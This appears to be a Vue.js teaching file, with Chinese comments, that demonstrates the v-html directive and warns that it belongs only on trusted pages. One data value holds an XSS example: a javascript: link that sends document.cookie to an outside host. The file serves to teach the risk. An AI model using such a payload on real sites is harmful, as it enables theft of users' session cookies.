<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>v-html</title>
  <script src="../js/vue.js"></script>
</head>
<body>
  
  <div id="root">
      <div>{{name}}</div>
      <!-- (1) 解析HTML5标签 -->
      <div v-html="str"></div>
      <!-- (2) 一定要在可信的页面上使用 -->
      <div v-html="str2"></div>
  </div>

  <script type='text/javascript'>
      new Vue({
          el:'#root',
          data:{
             name:'周杰',
             str:'<h3>加油！</h3>',
             str2:'<a href=javascript:location.href="https:www.baidu.com?"+document.cookie>点我一下</a>'
      
            }
      }) 
  </script>
</body>
</html>